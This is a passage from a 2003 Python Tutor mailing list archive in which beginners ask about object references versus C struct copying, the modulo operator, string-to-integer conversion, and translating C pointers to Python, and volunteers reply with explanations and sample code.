But if i quote it from the same example in C here:

typedef struct ab
{
        int a;
        int b;
}AB;

main()
{
   AB b;
   AB c;

   b.a = 5;
   b.b = 10;

   c = b;

   c.a = 30;
   c.b = 40;

   printf("AB values %d %d\n", b.a, b.b);
   printf("New values %d %d\n", c.a, c.b);
}

The output is:

AB values 5 10
New values 30 40

Where does the difference lie between this code and its equivalent 
python code. Where i am going wrong in my python code for this type of 
code in C

Waiting for reply

Thanks for responding

Regards

Tom Jenkins wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Mehta, Anish wrote:
> | Hello!
> |
> | I am having a problem in tackling the variables in the class.
> |
> | class ab:
> |    def __init__(self):
> |        self.a = None
> |        self.b = None
> |
> | def func(ab):
> |    b = ab
> |    c = ab
> |
> |    b.a = 5
> |    b.b = 10
> |
> |    c = b
> |    c.a = 30
> |    c.b = 40
> |
> |    print b.a, b.b
> |    print c.a, c.b
> |    t = func(ab())
> |
> |
> | Output is
> | 30 40
> | 30 40
> |
> | I want the output to be
> | 5 10
> | 30 40
> |
> | I mean every instance should modify its own set of variables not the
> | variables of the other instances of the class. The output of the set of
> | variables of b should not be affected by modifying those variables by
> | another instance of the same class.
> |
>
> That is completely correct.  However you are not modifying different
> instances of the class, you are modifying the same instances...
>
> | def func(ab):
> |    b = ab
> |    c = ab
>
> b and c both reference instance ab;
>
> |    b.a = 5
> |    b.b = 10
> |
>
> make changes to instance referenced by b (and since b and c reference
> same instance, c as well)
>
> |    c = b
>
> even if above you hadn't explicitly made b and c reference the same
> instance, here you are again saying c should reference the same instance
> as b
>
> |    c.a = 30
> |    c.b = 40
>
>
> make changes to instance referenced by c (and since b and c reference
> same instance, b as well)
>
> what i _think_ you want is...
>
> def func(ab):
> ~   b = ab()
> ~   c = ab()
>
> ~   b.a = 5
> ~   b.b = 10
>
> ~   c.a = 30
> ~   c.b = 40
>
> ~   print b.a, b.b
> ~   print c.a, c.b
> t = func(ab)
>
> - --
> Tom Jenkins
> devIS - Development Infostructure
> http://www.devis.com
>
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.2.0-nr2 (Windows XP)
> Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
>
> iD8DBQE+3LREV7Yk9/McDYURAlFJAKCdAVAy5GFTfmSUeG1m7DJ/X0S3uQCggGO5
> IpjU6AYJNKnNFc7LePiLrfU=
> =kQHH
> -----END PGP SIGNATURE-----
>
>
>
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
>
>




From rick@niof.net  Tue Jun  3 12:47:01 2003
From: rick@niof.net (Rick Pasotto)
Date: Tue Jun  3 11:47:01 2003
Subject: [Tutor] Variable Modification in a class
In-Reply-To: <3EDCBF92.2000801@antares.enst-bretagne.fr>
References: <3EDCB61B.8090304@antares.enst-bretagne.fr> <3EDCB444.4000400@devis.com> <3EDCBF92.2000801@antares.enst-bretagne.fr>
Message-ID: <20030603152931.GD5148@tc.telocity.com>

On Tue, Jun 03, 2003 at 05:32:34PM +0200, Mehta, Anish wrote:
> 
> Where does the difference lie between this code and its equivalent 
> python code. Where i am going wrong in my python code for this type of 
> code in C
> 
> Waiting for reply
> 
> Thanks for responding
> 
> Regards
> 
> Tom Jenkins wrote:
> 
> >-----BEGIN PGP SIGNED MESSAGE-----
> >Hash: SHA1
> >
> >Mehta, Anish wrote:
> >| Hello!
> >|
> >| I am having a problem in tackling the variables in the class.
> >|
> >| class ab:
> >|    def __init__(self):
> >|        self.a = None
> >|        self.b = None
> >|
> >| def func(ab):
> >|    b = ab
> >|    c = ab

This defines two alternate names for the class 'ab'. It does not create
instances of the class. To do that you would need to do:

	b = ab()
	c = ab()

-- 
"For the same reason, the collective force cannot be legitimately
 employed to foster the love of labor, sobriety, thrift,
 generosity, learning, religious faith; but it can be legitimately
 employed to further the rule of justice, to defend every man's
 rights." -- Frédéric Bastiat (1801-1850)
    Rick Pasotto    rick@niof.net    http://www.niof.net


From bgailer@alum.rpi.edu  Tue Jun  3 12:58:23 2003
From: bgailer@alum.rpi.edu (Bob Gailer)
Date: Tue Jun  3 11:58:23 2003
Subject: [Tutor] The remainder %
In-Reply-To: <NBEHJBEKFMHNFJKOHIOAMENDCIAA.willblake@wanadoo.fr>
Message-ID: <5.2.0.9.0.20030603093810.038b0008@66.28.54.253>

--=====================_10823152==.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed

At 02:09 PM 6/3/2003 +0200, Guillaume wrote:

>Hello,
>I'm not very good in maths and I don't understand why
>14 % 3 = 2
>Could someone explain me this mystery?
>Thanks in advance :)

What's really frustrating here is that the language reference says "% 
(modulo) operator yields the remainder..."

In math modulo is NOT the same as remainder. At least the explanation says 
"remainder". Modulo and remainder have the same values when the left 
argument is >= 0, and different values for < 0. Example:
n   n modulo 3  n % 3
3           0            0
2           2            2
1           1            1
0           0            0
-1          2            1
-2          1            2
-3          0            0

The only programming language I know that "got is right" is APL. There the 
function is named modulo and it DOES modulo. Most other languages call it 
modulo and it does remainder.

Bob Gailer
bgailer@alum.rpi.edu
303 442 2625

--=====================_10823152==.ALT
Content-Type: text/html; charset="us-ascii"

<html>
<body>
At 02:09 PM 6/3/2003 +0200, Guillaume wrote:<br><br>
<blockquote type=cite class=cite cite><font face="Arial Narrow, Helvetica">Hello,</font><br>
<font face="Arial Narrow, Helvetica">I'm not very good in maths and I
don't understand why </font><br>
<font face="Arial Narrow, Helvetica">14 % 3 = 2</font><br>
<font face="Arial Narrow, Helvetica">Could someone explain me this
mystery?</font><br>
<font face="Arial Narrow, Helvetica">Thanks in advance
:)</font></blockquote><br>
What's really frustrating here is that the language reference says
&quot;% (modulo) operator yields the remainder...&quot;<br><br>
In math modulo is NOT the same as remainder. At least the explanation
says &quot;remainder&quot;. Modulo and remainder have the same values
when the left argument is &gt;= 0, and different values for &lt; 0.
Example:<br>
n&nbsp;&nbsp; n modulo 3&nbsp; n % 3<br>
3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0<br>
2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
2<br>
1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1<br>
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0<br>
-1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1<br>
-2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
2<br>
-3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0<br><br>
The only programming language I know that &quot;got is right&quot; is
APL. There the function is named modulo and it DOES modulo. Most other
languages call it modulo and it does remainder.<br>
<x-sigsep><p></x-sigsep>
Bob Gailer<br>
bgailer@alum.rpi.edu<br>
303 442 2625<br>
</body>
</html>

--=====================_10823152==.ALT--



From gus.tabares@verizon.net  Tue Jun  3 12:59:34 2003
From: gus.tabares@verizon.net (Gus Tabares)
Date: Tue Jun  3 11:59:34 2003
Subject: [Tutor] Curiosity question(s) here ... how many of you folks are using python in your day-to-day work environment and ...
In-Reply-To: <004501c329d2$a94ef1a0$c47dfea9@client>
Message-ID: <FOEHJAIEMEINHNEPKLJGAEBHCAAA.gus.tabares@verizon.net>

Dirigo,

	I am currently using Python at work to created many automated testcases
that we can reuse to simplify the test process. Simple things like basic I/O
that are just too trivial to do on a daily basis. Python is superb in the
fact that it is cross-platform (we use it for mainly Win* and OS X) and the
syntax is clean and easy to understand.

HTH,
Gus

-----Original Message-----
From: tutor-admin@python.org [mailto:tutor-admin@python.org]On Behalf Of
Dirigo
Sent: Tuesday, June 03, 2003 9:19 AM
To: tutor@python.org
Subject: [Tutor] Curiosity question(s) here ... how many of you folks
are using python in your day-to-day work environment and ...


for what sort of applications?

I don't need a detailed listing, but would like to get a feel for how
popular python is overall and what it is being used for.  I recently
read a presentation that seemed to indicate python ranked about 5th or
6th in usage of Open Source Software (I will have to double check that
I'm correct about this).

Also, when should I capitalize "python"?  ;>))  Obviously ... at the
beginning of a sentence, but ... I go back and forth when I start to
type "it" within the body of text.  ;>))

Thanks in advance.

Regards,

Dirigo



_______________________________________________
Tutor maillist  -  Tutor@python.org
http://mail.python.org/mailman/listinfo/tutor



From willblake@wanadoo.fr  Tue Jun  3 13:03:07 2003
From: willblake@wanadoo.fr (Guillaume)
Date: Tue Jun  3 12:03:07 2003
Subject: [Tutor] RE: I don't understand why it doesn't work :(
In-Reply-To: <20030603165811.1561.3@wonderland.1054630140.fake>
Message-ID: <NBEHJBEKFMHNFJKOHIOAKENICIAA.willblake@wanadoo.fr>

Sorry it's the first time, I don't know what happen.
apologize.

-----Message d'origine-----
De : Charlie Clark [mailto:charlie@begeistert.org]
Envoyé : mardi 3 juin 2003 16:58
À : tutor@python.org; willblake@wanadoo.fr
Objet : Re: I don't understand why it doesn't work :(


Bonjour Guillaume et bienvenue sur Python-Tutor. Est-ce que possible que
vous n'envoyez pas les messages en HTML?


> Subject: [Tutor] The remainder %
>
> C'est un message de format MIME en plusieurs parties.
>
> Hello,
> I'm not very good in maths and I don't understand why
> 14 % 3 = 2
> Could someone explain me this mystery?
> Thanks in advance :)

Quite easy really. The remainder is that whole number which remains when
you divide one number by another. 14 isn't entirely divisible by 3 so there
will be a remainder of 1 or 2. 4 x 3 is 12 and 14 - 12 is 2.

What is the remainder of 21 / 7 ?

> Hi,
> My problem is quite simple.
> Here is the prog:
>  s = "3 * 4"
> print type (s)
> <type 'str'>
>
> Easy but then I tried:
> print int (s) + 5
> I was waiting for something like 17
> but it doesn't work :(
> Why?
> This is my only question.

Why were you expecting 17? You added a number to a string.

Try this:
3 + "FOUR"
or
"THREE" + "FOUR"

What would you expect to happen? Numerical addition might if the language
in which it is written does enuff magic for you. But this is really black
magic: turning strings into numbers is like turning people into toads. It
should only happen when you really want it to!

Try this:
3 * "THREE"

Python is dynamically but strongly typed. This means that while you can
easily change the type of an object you must do this explicitly and you can
never do things with an object which its object type cannot do. This makes
programming Python both remarkably simple and remarkably safe. You can have
all kinds of problems if the computer does something automagically for you.

Amitiés

Charlie



From Anish.Mehta@enst-bretagne.fr  Tue Jun  3 13:10:02 2003
From: Anish.Mehta@enst-bretagne.fr (Mehta, Anish)
Date: Tue Jun  3 12:10:02 2003
Subject: [Tutor] Variable Modification in a class
References: <3EDCB61B.8090304@antares.enst-bretagne.fr> <3EDCB444.4000400@devis.com> <3EDCBF92.2000801@antares.enst-bretagne.fr> <20030603152931.GD5148@tc.telocity.com>
Message-ID: <3EDCCBB5.8070105@antares.enst-bretagne.fr>

Your point looks to me very right but the problem still remains the 
same. The output is still
30 40
30 40

May be i am making some mistake here again.

class AB:
    def __init__(self):
        self.a = None
        self.b = None

def func(ab):
    b = ab()
    c = ab()

    b.a = 5
    b.b = 10

    c = b
    c.a = 30
    c.b = 40

    print b.a, b.b
    print c.a, c.b
   
t = func(AB)



Regards.




Rick Pasotto wrote:

>This defines two alternate names for the class 'ab'. It does not create
>instances of the class. To do that you would need to do:
>
>	b = ab()
>	c = ab()
>
>  
>




From tjenkins@devis.com  Tue Jun  3 13:16:02 2003
From: tjenkins@devis.com (Tom Jenkins)
Date: Tue Jun  3 12:16:02 2003
Subject: [Tutor] Variable Modification in a class
In-Reply-To: <3EDCCBB5.8070105@antares.enst-bretagne.fr>
References: <3EDCB61B.8090304@antares.enst-bretagne.fr> <3EDCB444.4000400@devis.com> <3EDCBF92.2000801@antares.enst-bretagne.fr> <20030603152931.GD5148@tc.telocity.com> <3EDCCBB5.8070105@antares.enst-bretagne.fr>
Message-ID: <3EDCC8E6.6020407@devis.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Mehta, Anish wrote:
| Your point looks to me very right but the problem still remains the
| same. The output is still
| 30 40
| 30 40
|
| May be i am making some mistake here again.
|
| class AB:
|    def __init__(self):
|        self.a = None
|        self.b = None
|
| def func(ab):
[snip]
|    c = b
[snip]

as i said in my other email, at this point in your function, you are
again assigned c to reference whatever instance b is referencing.
remove that line.

- --
Tom Jenkins
devIS - Development Infostructure
http://www.devis.com

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.0-nr2 (Windows XP)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQE+3MjmV7Yk9/McDYURAtKtAJ9r6SVx1ogRNC6JYImOFYTpjfI6YgCgyIoK
nwISsAkLOiHwnpUihbyngrs=
=MqQv
-----END PGP SIGNATURE-----




From ATrautman@perryjudds.com  Tue Jun  3 13:22:01 2003
From: ATrautman@perryjudds.com (Alan Trautman)
Date: Tue Jun  3 12:22:01 2003
Subject: [Tutor] Variable Modification in a class
Message-ID: <06738462136C054B8F8872D69DA140DB0107CB@corp-exch-1.pjinet.com>

Let's try this:
You can see that the assignment doesn't copy the values is assigns them by
pointing to the same memory address.

Try running this:

class AB:
    def __init__(self):
        self.a = None
        self.b = None

def func(ab):
    b = ab()
    c = ab()
    print "init c", c #memory locations prior to assignment
    print "init b", b
    print "these are different"
    
    b.a = 5
    b.b = 10

    c = b   # This block assigns c the same memory location as b
            # This means any value placed in one will be in the other
            # You have effectively lost b and any values that were
            # assigned there
    print "final c",c 
    print "final b", b
    c.a = 30
    c.b = 40

    print b.a, b.b
    print c.a, c.b
   
t = func(AB)


HTH,
Alan


From Anish.Mehta@enst-bretagne.fr  Tue Jun  3 13:32:08 2003
From: Anish.Mehta@enst-bretagne.fr (Mehta, Anish)
Date: Tue Jun  3 12:32:08 2003
Subject: [Tutor] Variable Modification in a class
References: <06738462136C054B8F8872D69DA140DB0107CB@corp-exch-1.pjinet.com>
Message-ID: <3EDCD0BE.70404@antares.enst-bretagne.fr>

I m sorry that i am repeating my last mail. Here also in c i m doing the 
same thing. Or is there any differnce? The point is clear to me that 
when i do ' c = b' it makes the memory locations same.

C example which is creating the confusion:

typedef struct ab
{
       int a;
       int b;
}AB;

main()
{
  AB b;
  AB c;

  b.a = 5;
  b.b = 10;

  c = b;

  c.a = 30;
  c.b = 40;

  printf("AB values %d %d\n", b.a, b.b);
  printf("New values %d %d\n", c.a, c.b);
}

The output is:

AB values 5 10
New values 30 40

Alan Trautman wrote:

>Let's try this:
>You can see that the assignment doesn't copy the values is assigns them by
>pointing to the same memory address.
>
>Try running this:
>
>class AB:
>    def __init__(self):
>        self.a = None
>        self.b = None
>
>def func(ab):
>    b = ab()
>    c = ab()
>    print "init c", c #memory locations prior to assignment
>    print "init b", b
>    print "these are different"
>    
>    b.a = 5
>    b.b = 10
>
>    c = b   # This block assigns c the same memory location as b
>            # This means any value placed in one will be in the other
>            # You have effectively lost b and any values that were
>            # assigned there
>    print "final c",c 
>    print "final b", b
>    c.a = 30
>    c.b = 40
>
>    print b.a, b.b
>    print c.a, c.b
>   
>t = func(AB)
>
>
>HTH,
>Alan
>
>_______________________________________________
>Tutor maillist  -  Tutor@python.org
>http://mail.python.org/mailman/listinfo/tutor
>
>
>  
>




From njensen@utahfirst.com  Tue Jun  3 13:33:02 2003
From: njensen@utahfirst.com (Nick Jensen)
Date: Tue Jun  3 12:33:02 2003
Subject: [Tutor] what is the difference between a scripting and  object oriented programming language?
Message-ID: <544BE8EBDBEE344F96B32750CA5753E9794243@ufcu_ntes.utahfirst.com>

Thanks to everyone that took time to answer my questions. I was confused =
about what scripting is. And now I see there is not one set definition =
of a scripting language and that scripting and OO aren't comparable, but =
rather methods of doing different types of things. Thanks for all the =
info and the link to http://c2.com/cgi/wiki?ScriptingLanguage. I book =
marked that and will look into it further.

-Nick


From willblake@wanadoo.fr  Tue Jun  3 14:00:02 2003
From: willblake@wanadoo.fr (Guillaume)
Date: Tue Jun  3 13:00:02 2003
Subject: [Tutor] RE: I don't understand why it doesn't work :(
In-Reply-To: <20030603165811.1561.3@wonderland.1054630140.fake>
Message-ID: <NBEHJBEKFMHNFJKOHIOAIENJCIAA.willblake@wanadoo.fr>

Hi,
I expected 17 because I tought that
print int (s) convert my string in an integer
so that the addition between 3*4 and 5 was possible.
As far as the remainder, I'm searching actively, promise
I'll give it as soon as I have it clearly in my mind :)
Amitiés à toi
PS:tu peux me dire "tu". Moi je dis "tu" à tous mes amis ;)

-----Message d'origine-----
De : Charlie Clark [mailto:charlie@begeistert.org]
Envoyé : mardi 3 juin 2003 16:58
À : tutor@python.org; willblake@wanadoo.fr
Objet : Re: I don't understand why it doesn't work :(


Bonjour Guillaume et bienvenue sur Python-Tutor. Est-ce que possible que
vous n'envoyez pas les messages en HTML?


> Subject: [Tutor] The remainder %
>
> C'est un message de format MIME en plusieurs parties.
>
> Hello,
> I'm not very good in maths and I don't understand why
> 14 % 3 = 2
> Could someone explain me this mystery?
> Thanks in advance :)

Quite easy really. The remainder is that whole number which remains when
you divide one number by another. 14 isn't entirely divisible by 3 so there
will be a remainder of 1 or 2. 4 x 3 is 12 and 14 - 12 is 2.

What is the remainder of 21 / 7 ?

> Hi,
> My problem is quite simple.
> Here is the prog:
>  s = "3 * 4"
> print type (s)
> <type 'str'>
>
> Easy but then I tried:
> print int (s) + 5
> I was waiting for something like 17
> but it doesn't work :(
> Why?
> This is my only question.

Why were you expecting 17? You added a number to a string.

Try this:
3 + "FOUR"
or
"THREE" + "FOUR"

What would you expect to happen? Numerical addition might if the language
in which it is written does enuff magic for you. But this is really black
magic: turning strings into numbers is like turning people into toads. It
should only happen when you really want it to!

Try this:
3 * "THREE"

Python is dynamically but strongly typed. This means that while you can
easily change the type of an object you must do this explicitly and you can
never do things with an object which its object type cannot do. This makes
programming Python both remarkably simple and remarkably safe. You can have
all kinds of problems if the computer does something automagically for you.

Amitiés

Charlie



From dyoo@hkn.eecs.berkeley.edu  Tue Jun  3 14:03:03 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Tue Jun  3 13:03:03 2003
Subject: [Tutor] subscript problem
In-Reply-To: <Sea1-F140162Kmq82tS00027a14@hotmail.com>
Message-ID: <Pine.LNX.4.44.0306030957210.1339-100000@hkn.eecs.berkeley.edu>


> I am having a problem with handling some pointers. My problem is like
> this:
>
> typedef struct ab
> {
>       short n_p;
>       Vec* po;
>        short* con;
> } AB;
>
> typedef struct vec
> {
>       int x;
>       int y;
> } Vec;


Hi Jimmy,


Ok, all of the code you've shown at the moment is in C; I'll assume, for
the moment, that you're trying to figure out how to do a translation of it
into Python.



> Now the function:
>
> XYZ(AB* out)
> {
>         last = out->con[n];            // last is of type int.
>         lim = out ->po + last;        // lim is of type Vec.
>
>         v_start = out -> po[first];   // v_start is of type Vec.
> }
>
>
> The problem is that when i use po[first] it gives an error message
> saying that
>
> AttributeError: Vec instance has no attribute '__getitem__'


This is difficult to decipher, as you haven't shown us any Python code
that implements your Vec vector class.  *grin*


But you probably have a type problem: your structure 'ab' should contain a
list of vectors, referred to by 'po'.  In C, a pointer to a structure can
refer to a contiguous sequence of elements.

The attribute error, though hints that the 'po' attribute isn't a list.
But without seeing any code, we are really grasping at straws.



> Can someone help me in sorting out the code for this in python.

You have to show us your Python code first.  *grin*


Good luck to you.



From pythontutor@venix.com  Tue Jun  3 14:19:01 2003
From: pythontutor@venix.com (Lloyd Kvam)
Date: Tue Jun  3 13:19:01 2003
Subject: [Tutor] The remainder %
References: <5.2.0.9.0.20030603093810.038b0008@66.28.54.253>
Message-ID: <3EDCD829.3000207@venix.com>

PythonWin 2.2.1 (#34, Apr 15 2002, 09:51:39) [MSC 32 bit (Intel)] on win32.
Portions Copyright 1994-2001 Mark Hammond (mhammond@skippinet.com.au) - see 'Help/About PythonWin' for further copyright information.
 >>> -1 % 3
2

Bob Gailer wrote:
> At 02:09 PM 6/3/2003 +0200, Guillaume wrote:
> 
>> Hello,
>> I'm not very good in maths and I don't understand why
>> 14 % 3 = 2
>> Could someone explain me this mystery?
>> Thanks in advance :)
> 
> 
> What's really frustrating here is that the language reference says "% 
> (modulo) operator yields the remainder..."
> 
> In math modulo is NOT the same as remainder. At least the explanation 
> says "remainder". Modulo and remainder have the same values when the 
> left argument is >= 0, and different values for < 0. Example:
> n   n modulo 3  n % 3
> 3           0            0
> 2           2            2
> 1           1            1
> 0           0            0
> -1          2            1
> -2          1            2
> -3          0            0
> 
> The only programming language I know that "got is right" is APL. There 
> the function is named modulo and it DOES modulo. Most other languages 
> call it modulo and it does remainder.
> 
> Bob Gailer
> bgailer@alum.rpi.edu
> 303 442 2625
> 


-- 
Lloyd Kvam
Venix Corp.
1 Court Street, Suite 378
Lebanon, NH 03766-1358

voice:	603-443-6155
fax:	801-459-9582



From bgailer@alum.rpi.edu  Tue Jun  3 14:37:01 2003
From: bgailer@alum.rpi.edu (Bob Gailer)
Date: Tue Jun  3 13:37:01 2003
Subject: [Tutor] The remainder %
In-Reply-To: <3EDCD829.3000207@venix.com>
References: <5.2.0.9.0.20030603093810.038b0008@66.28.54.253>
Message-ID: <5.2.0.9.0.20030603112110.039cf838@66.28.54.253>

OOPS I did not do my homework. So it turns out that Python % and divmod DO 
modulo, and the documentation is in error when it says "remainder". It sort 
of redeems itself later "The integer division and modulo operators are 
connected by the following identity: x == (x/y)*y + (x%y)."

 From the interpreter window:
 >>> for i in range(3, -4, -1):i, i % 3
...
(3, 0)
(2, 2)
(1, 1)
(0, 0)
(-1, 2)
(-2, 1)
(-3, 0)

Other languages that I know just say "modulo" and deliver remainder.

At 01:17 PM 6/3/2003 -0400, Lloyd Kvam wrote:

>PythonWin 2.2.1 (#34, Apr 15 2002, 09:51:39) [MSC 32 bit (Intel)] on win32.
>Portions Copyright 1994-2001 Mark Hammond (mhammond@skippinet.com.au) - 
>see 'Help/About PythonWin' for further copyright information.
> >>> -1 % 3
>2
>
>Bob Gailer wrote:
>>At 02:09 PM 6/3/2003 +0200, Guillaume wrote:
>>
>>>Hello,
>>>I'm not very good in maths and I don't understand why
>>>14 % 3 = 2
>>>Could someone explain me this mystery?
>>>Thanks in advance :)
>>
>>What's really frustrating here is that the language reference says "% 
>>(modulo) operator yields the remainder..."
>>In math modulo is NOT the same as remainder. At least the explanation 
>>says "remainder". Modulo and remainder have the same values when the left 
>>argument is >= 0, and different values for < 0. Example:
>>n   n modulo 3  n % 3
>>3           0            0
>>2           2            2
>>1           1            1
>>0           0            0
>>-1          2            1
>>-2          1            2
>>-3          0            0
>>The only programming language I know that "got is right" is APL. There 
>>the function is named modulo and it DOES modulo. Most other languages 
>>call it modulo and it does remainder.
>>Bob Gailer
>>bgailer@alum.rpi.edu
>>303 442 2625
>
>
>--
>Lloyd Kvam
>Venix Corp.
>1 Court Street, Suite 378
>Lebanon, NH 03766-1358
>
>voice:  603-443-6155
>fax:    801-459-9582
>
>
>
>
>
>---
>Incoming mail is certified Virus Free.
>Checked by AVG anti-virus system (http://www.grisoft.com).
>Version: 6.0.483 / Virus Database: 279 - Release Date: 5/19/2003

Bob Gailer
bgailer@alum.rpi.edu
303 442 2625



From dbroadwell@mindspring.com  Tue Jun  3 14:48:45 2003
From: dbroadwell@mindspring.com (David Broadwell)
Date: Tue Jun  3 13:48:45 2003
Subject: [Tutor] RE: I don't understand why it doesn't work :(
In-Reply-To: <NBEHJBEKFMHNFJKOHIOAIENJCIAA.willblake@wanadoo.fr>
Message-ID: <MBBBKPICGBKFODJNCCLJEEELCJAA.dbroadwell@mindspring.com>

> I expected 17 because I thought that
> print int (s) convert my string in an integer
> so that the addition between 3*4 and 5 was possible.
That would be eval(), consider this;
>>> s = "3 * 4"
>>> eval(s)
12
>>> print eval(s) + 5
17

When you assigned s had you used;
>>> s = 3 * 4

Your results would have been what you expected.

What do you get when you int("3 * 4") ?

--

David Broadwell


From jeff@ccvcorp.com  Tue Jun  3 15:22:01 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Tue Jun  3 14:22:01 2003
Subject: [Tutor] Variable Modification in a class
References: <06738462136C054B8F8872D69DA140DB0107CB@corp-exch-1.pjinet.com> <3EDCD0BE.70404@antares.enst-bretagne.fr>
Message-ID: <3EDCE6DE.5010905@ccvcorp.com>

Mehta, Anish wrote:

> I m sorry that i am repeating my last mail. Here also in c i m doing 
> the same thing. Or is there any differnce? 


Yes, there is a difference.  C uses a different philosophy for handling 
variables than Python does, and if you look for strict comparisons 
you'll just get confused.  In C, a variable is a slot in memory.  You 
can change what's in that slot, but the slot stays in the same place. 
 When you say 'c = b' in C, that means "copy the contents of location b 
into location c."  You now have two separate copies of your variable. 
 In Python, a variable is just a name that's bound to an object. 
 There's no space reserved in memory for that variable, so there's 
noplace to copy contents to.  Think of it like a post-it note -- when 
you say 'c = b' in Python, it means "find the object with the post-it 
note that says b, and add another post-it note next to that which says 
c."  Now you can refer to that same object by either b OR c, but it's 
the *same* object either way.  (In many ways, Python variables are 
closer to C pointers, but there's enough semantic differences that 
that's not a very good comparison either.)

Jeff Shannon
Technician/Programmer
Credit International




From jim_938@hotmail.com  Tue Jun  3 15:22:10 2003
From: jim_938@hotmail.com (Jimmy verma)
Date: Tue Jun  3 14:22:10 2003
Subject: [Tutor] subscript problem
Message-ID: <Sea1-F59MK5P6AiMUFR00047f78@hotmail.com>

Actually it is not possible for me to write the whole code as it is too 
lengthy. I have formulated the section in which i am getting the problem so 
i have written the code for the problem i am having. It takes the form like 
this and give the error written after the code:


class AB:
    def __init__(self):
        self.n_p = None
        self.po = Vec()      # in c struct this is Vec* po
        self.con = []        # in c struct this is short* con


class Vec:
    def __init__(self):
        self.x = None
        self.y = None



def XYZ(out):
    n = 0
    out.con.append(5)
    last = out.con[n]     # say n to some int value, last is also integer
    v_start = out.po[last]


#now call the function

l = XYZ(AB())

File "<stdin>", line 103, in ?
  File "<stdin>", line 98, in XYZ
AttributeError: Vec instance has no attribute '__getitem__'

I hope that i m able to express the problem.

thanks for giving consideration regarding my problem.

Regards;


>From: Danny Yoo <dyoo@hkn.eecs.berkeley.edu>
>To: Jimmy verma <jim_938@hotmail.com>
>CC: tutor@python.org
>Subject: Re: [Tutor] subscript problem
>Date: Tue, 3 Jun 2003 10:02:37 -0700 (PDT)
>
>
>
> > I am having a problem with handling some pointers. My problem is like
> > this:
> >
> > typedef struct ab
> > {
> >       short n_p;
> >       Vec* po;
> >        short* con;
> > } AB;
> >
> > typedef struct vec
> > {
> >       int x;
> >       int y;
> > } Vec;
>
>
>Hi Jimmy,
>
>
>Ok, all of the code you've shown at the moment is in C; I'll assume, for
>the moment, that you're trying to figure out how to do a translation of it
>into Python.
>
>
>
> > Now the function:
> >
> > XYZ(AB* out)
> > {
> >         last = out->con[n];            // last is of type int.
> >         lim = out ->po + last;        // lim is of type Vec.
> >
> >         v_start = out -> po[first];   // v_start is of type Vec.
> > }
> >
> >
> > The problem is that when i use po[first] it gives an error message
> > saying that
> >
> > AttributeError: Vec instance has no attribute '__getitem__'
>
>
>This is difficult to decipher, as you haven't shown us any Python code
>that implements your Vec vector class.  *grin*
>
>
>But you probably have a type problem: your structure 'ab' should contain a
>list of vectors, referred to by 'po'.  In C, a pointer to a structure can
>refer to a contiguous sequence of elements.
>
>The attribute error, though hints that the 'po' attribute isn't a list.
>But without seeing any code, we are really grasping at straws.
>
>
>
> > Can someone help me in sorting out the code for this in python.
>
>You have to show us your Python code first.  *grin*
>
>
>Good luck to you.
>
>
>_______________________________________________
>Tutor maillist  -  Tutor@python.org
>http://mail.python.org/mailman/listinfo/tutor

_________________________________________________________________
Watch Hallmark. Enjoy cool movies 
http://server1.msn.co.in/sp03/hallmark/index.asp Win hot prizes!



From jeff@ccvcorp.com  Tue Jun  3 15:48:01 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Tue Jun  3 14:48:01 2003
Subject: [Tutor] subscript problem
References: <Sea1-F59MK5P6AiMUFR00047f78@hotmail.com>
Message-ID: <3EDCED0B.7060807@ccvcorp.com>

Jimmy verma wrote:

> Actually it is not possible for me to write the whole code as it is 
> too lengthy. I have formulated the section in which i am getting the 
> problem so i have written the code for the problem i am having. It 
> takes the form like this and give the error written after the code:
>
> class AB:
>    def __init__(self):
>        self.n_p = None
>        self.po = Vec()      # in c struct this is Vec* po
>        self.con = []        # in c struct this is short* con


Here you've created AB.po as a *single* instance of class Vec.

> def XYZ(out):
>    n = 0
>    out.con.append(5)
>    last = out.con[n]     # say n to some int value, last is also integer
>    v_start = out.po[last] 


Here, you're trying to access out.po as if it's a *list* of Vec 
instances.   This is why you're getting the error -- it's essentially 
telling you that out.po is not a list.  (You can define custom list-like 
objects by writing a few special methods, such as __getitem__(), which 
is why the exception is worded the way it is...)

In C, it's possible to conflate pointers and arrays, but in Python, 
